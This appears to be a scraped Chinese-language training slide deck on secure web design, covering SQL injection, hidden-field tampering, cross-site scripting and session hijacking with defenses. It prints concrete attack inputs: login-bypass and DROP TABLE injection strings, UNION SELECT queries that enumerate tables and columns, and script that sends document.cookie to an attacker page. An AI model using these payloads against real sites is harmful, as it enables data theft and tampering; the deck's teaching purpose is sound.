您好,欢迎访问三七文档
設計安全的網站系統資策會教育訓練處王寧疆MCAD.NET/MCSD.NET/MCT議程網站安全管制人人有責預防SQLInjection攻擊法預防HiddenFieldTampering攻擊法預防Cross-SiteScripting攻擊法預防SessionHijacking攻擊網頁基本防護法將帳號/密碼資料存放到Windows的登錄資訊網站安全管制人人有責網頁開發者,架構工程師,系統管理員人人有責攻擊應用程式常見的手法攻擊手法攻擊實例SQLinjection串連SQL敘述(例如DROPTABLE)攻擊資料庫或是資料庫中的記錄。Cross-sitescripting利用惡意的JavaScript偷取網站使用者的Cookie資訊,或是破壞網頁顯示的資訊。Hidden-fieldtampering修改網頁隱藏欄位的內容,圖謀不軌。Eavesdropping使用packetsniffer之類的工具偷取在網路上傳送的未加密資料(例如帳號、密碼、或cookies)Sessionhijacking偷取網站使用者的SessionID,入侵使用者的Session。Identityspoofing利用竊得的帳號和密碼冒用網站使用者的身份。Informationdisclosure網站執行發生例外時讓網站的使用者看到例外的詳細資訊。網頁攻擊手法與受害原因Cross-siteScripting(XSS)受害原因:未對使用者輸入的資料執行編碼處理SQLInjection受害原因:利用使用者輸入的資料組成SQL敘述SessionHijacking受害原因:SessionID被猜中或SessionIDCookie被竊One-click受害原因:使用Script傳送HTTPPostHiddenFieldtampering受害原因:未對網頁中隱藏欄位的內容做檢查SQLInjection攻擊法SQLInjection攻擊模式入侵登入畫面植入帳號刪除資料表偷取資料表資訊修改資料表記錄入侵登入畫面欲執行的SQL敘述SELECTcount(*)FROMMembersWHEREUserName='John'ANDPassword='ABC'直接入侵不良的SQL敘述寫法SELECTcount(*)FROMMembersWHEREUserName='&_txtUserName.Text&'ANDPassword='&_txtPassword.Text&'在[帳號]欄位輸入以下的資料就可以登入成功:'OR1=1—程式所執行的SQL敘述變成:SELECTcount(*)FROMMembersWHEREUserName=''OR1=1–AndPassword=''植入帳號與刪除資料表在[帳號]欄位輸入以下的資料就可以新增駭客帳號:';insertintoMembers(UserName,Password)Values('hacker','foo')—權限足夠的狀況下,在[帳號]欄位輸入以下的資料就可以刪除Members資料表:';droptableMembers--不需要密碼也可以登入在[密碼]欄位輸入以下的資料就可以成功登入:aaa'OrUserNameLike'%程式所執行的SQL敘述變成:SELECTcount(*)FROMMembersWHEREUserName=''AndPassword='aaa'OrUserNameLike'%'利用Url傳遞網頁執行需要的參數=1不良的程式寫法DimstrSQLAsString=“SELECT*FROMProductsWHERESupplierid=”&_Request(SupplierID).ToString()查詢SQLServer的版本在網址列輸入:=9999unionallselectnull,@@ServiceName,null,null,@@version,null,null,null,null,null讀取資料庫的資料表在網址列輸入:=9999unionallselectnull,name,null,null,null,null,null,null,null,nullfromsysobjectswherextype='u'資料表名稱讀取資料表的欄位在網址列輸入:=9999unionallselectnull,name,null,null,null,null,null,null,null,nullfromsyscolumnswhereid=object_id('Products')andcolid=1欄位名稱修改資料表記錄在網址列輸入:=9999;updateProductssetUnitPrice=1WhereProductID=1防堵SQLInjection攻擊的基本原則(一)將使用者輸入資料當做參數傳給SQL敘述或StoredProcedureSQL敘述或是StoredProcedure中使用EXEC敘述執行使用者輸入的內容需更進一步防範如果無法將使用者輸入資料當做參數傳給SQL敘述或StoredProcedure使用RegularExpression驗証使用者輸入的資料的格式限制使用者輸入的資料的長度限制使用者登入資料庫的帳號的權限去除使用者輸入資料中的“--”(SQL敘述的註解)將使用者輸入的單引號置換成雙引號將使用者輸入的單引號置換成雙引號的效果例如原本欲執行的SQL敘述為:Selectcount(*)fromMemberswhereUserName='John'AndPassword='ABC'使用者在UserName欄位輸入['Or1=1--]未將使用者輸入的單引號置換成雙引號,上述的SQL敘述執行的結果為Members資料表的總筆數將使用者輸入的單引號置換成雙引號,上述的SQL敘述執行的結果為0防堵SQLInjection攻擊的基本原則(二)限制應用程式或網頁只能擁有執行StoredProcedure的權限,不能直接存取資料庫中的Table和View使用[Windows整合安全模式]登入資料庫,避免使用系統管理員身份登入資料庫設定TextBox欄位的MaxLength屬性加強對資料庫操作的稽核HiddenFieldTampering攻擊法HiddenFieldTampering攻擊模式把HTMLForm存到硬碟竄改Hidden欄位的內容值將竄改過的Form重送到WebServerBadMotor.com使用隱藏欄位在網頁中傳遞資料隱藏欄位中的資料被竄改的情形檢視帶有隱藏欄位的網頁的[原始檔]另存新HTML檔案修改存檔內容formname=“Form1”method=“post”action=“位址/BadMotor/Confirm.aspx?MotorID=1”id=“Form1”…inputname=HiddenPriceid=HiddenPricetype=hiddenvalue=1000000/…/form使用IE開啟另存的HTML檔案執行Submit竄改成1阻擋HiddenFieldTampering攻擊的方法檢查HTTP_REFERER的內容讀取HttpWebRequest類別的Headers集合的Referer成員IfRequest.ServerVariables(HTTP_REFERER)IsNothingThenLabel1.Text=CatchYou!ElseLabel1.Text=完成扣款:&Request(Price)&元!EndIf使用MessageDigest1.自己做2.使用ServerControl,啟用ViewState重要的資訊不要存放在HiddenFieldCross-SiteScripting攻擊法Web應用程式最常見的漏洞之一曾經受害的知名網站眾多,包括:FBI.gov,CNN.com,Time.com,Ebay,Yahoo,Applecomputer,Microsoft,Zdnet,Wired,與Newsbytes每個月約有10~25個網站被發現有XSS的漏洞2002eWeekOpenHack大賽得主找到兩個XSS弱點常受XXS攻擊的網頁:搜尋網頁,討論群,留言板,登入畫面..Cross-SiteScripting攻擊模式竊取網頁使用者的個人資料(包括SessionID,Cookies)重導網頁,破壞網頁顯示的內容(改變顯示的文字和圖形),執行無窮迴圈…Cross-SiteScripting攻擊手法1.scriptdocument.location.href='=display:none偷取Cookie的做法–提供誘之以利的網頁ahref==scriptlanguage='javascript'document.location.href='='%2Bdocument.cookie;/script.../aahref==scriptlanguage='javascript'document.location.href='='%2Bdocument.cookie;/script.../a取得超連結網址的Cookie誘騙點選的危險郵件目標網站透過中間網頁傳送Cookie到駭客的網頁MiddlePage.aspxFORMaction==postid=idFormINPUTname=cookietype=hidden/FORMSCRIPTidForm.cookie.value=document.cookie;idForm.submit();/SCRIPT阻擋Cross-SiteScripting攻擊的錯誤方法檢查使用者輸入的資料是否內含和無法防範以下的攻擊:scriptlanguage=JScriptRUNAT=ServervarstrUserName=Request.QueryString(Name);/scriptimgsrc=pic.jpgonmouseover='doWork(%=strUserName%);'imgsrc=pic.jpgonmouseover='doWork(Freddy);alert(document.cookie);');'使用者輸入:Freddy);alert(document.cookie);'各種Cross-SiteScripting攻擊方法(一)ahref=javascript#[code]divonmouseover=[code]imgsrc=ja
本文标题:设计安全的网站系统
链接地址:https://www.777doc.com/doc-1269358 .html